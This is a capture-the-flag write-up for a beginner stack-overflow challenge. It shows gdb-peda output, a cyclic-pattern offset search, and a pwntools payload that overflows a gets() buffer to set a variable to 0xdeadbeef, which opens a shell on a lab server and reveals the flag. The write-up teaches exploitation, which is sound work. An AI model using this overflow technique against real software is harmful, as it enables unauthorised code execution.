

easy_stack_variable

Account : stanleymusic

Writeup :

Step 1 :

Use gdb -> set breakpoint at main -> run until typing input -> paste the randomized strings with length 100 created by pttc

```
0x4006d0 <main+102>: mov     eax,0x0
=> 0x4006e2 <main+107>: call   0x400580 <gets@plt>
0x4006e7 <main+112>: cmp     DWORD PTR [rbp-0x4],0xdeadbeef
0x4006ee <main+119>: jne     0x4006fa <main+131>
0x4006f0 <main+121>: mov     edi,0x4007b0
0x4006f5 <main+126>: call    0x400570 <system@plt>
Guessed arguments:
arg[0]: 0x7fffffff132 --> 0x7fffffff
[-----stack-----]
0000| 0x7fffffff130 --> 0x7fffffff220 --> 0x1
0008| 0x7fffffff138 --> 0x0
0016| 0x7fffffff140 --> 0x400710 (<_libc_csu_init>: push  r15)
0024| 0x7fffffff148 --> 0x7ffff7e1bbb (<_libc_start_main+235>: mov  edi,eax)
0032| 0x7fffffff150 --> 0x0
0040| 0x7fffffff158 --> 0x7fffffff228 --> 0x7fffffff4f9 ("/root/Desktop/balqs_CTF/easy_stack_variable/easy_stack_variable")
0048| 0x7fffffff160 --> 0x100040000
0056| 0x7fffffff168 --> 0x400677 (<main>: push  rbp)
[-----]
Legend: code, data, rodata, value
0x00000000004006e2 in main ()
gdb-peda$ n
AAAAAAsAABAAsAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAbAA1AAGAACA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
```

Step 2 :

Since we want to change the variable's value, we need to find the variable's address.

According to the cmp instruction we find out that it's \$rbp-0x4.

```
0x4006e7 <main+112>: cmp     DWORD PTR [rbp-0x4],0xdeadbeef
```

Step 3 :

Use x/10w \$rbp-0x4 to check if it's covered by the randomized strings.

```
gdb-peda$ x/10w $rbp-0x4
0x7fffffffef13c: U"\x41244141\x41416e41\x2d414143\x41284141\x41414441\x2941
41\x41413541\x6741414b\x41364141\x41414141"
0x7fffffffef19c: U""
0x7fffffffef1a0: U"\xb5995d2d\x5e556597\x1df5d2d\x5e5575ab"
0x7fffffffef1b4: U""
```

Step 4 :

If it's covered, then we use pattern offset [address of variable] to find out the offset which is 10

```
gdb-peda$ pattern offset 0x41244141
1092895041 found at offset: 10
```

Step 5 :

Now we got all the information we need

Offset = 10

variable's value = 0xdeadbeef

Send payload = 'A'*offset + p64(0xdeadbeef)

```
offset = 10
variable = p64(0xdeadbeef)
payload = 'A'*offset + variable

r.recvuntil(":")
r.sendline(payload)
```

Step 6 :

Get the flag

```
root@kali:~/Desktop/balqs_CTF/easy_stack_variable# python easy_stack_variable.py
[+] Opening connection to sqlab.zongyuan.nctu.me on port 6001: Done
[*] Switching to interactive mode

$ ls
Makefile
bin
dev
easy_stack_variable
easy_stack_variable.c
flag
lib
lib32
lib64
$ cat flag
balqs{D0_you_kn0w_st4ck?}
```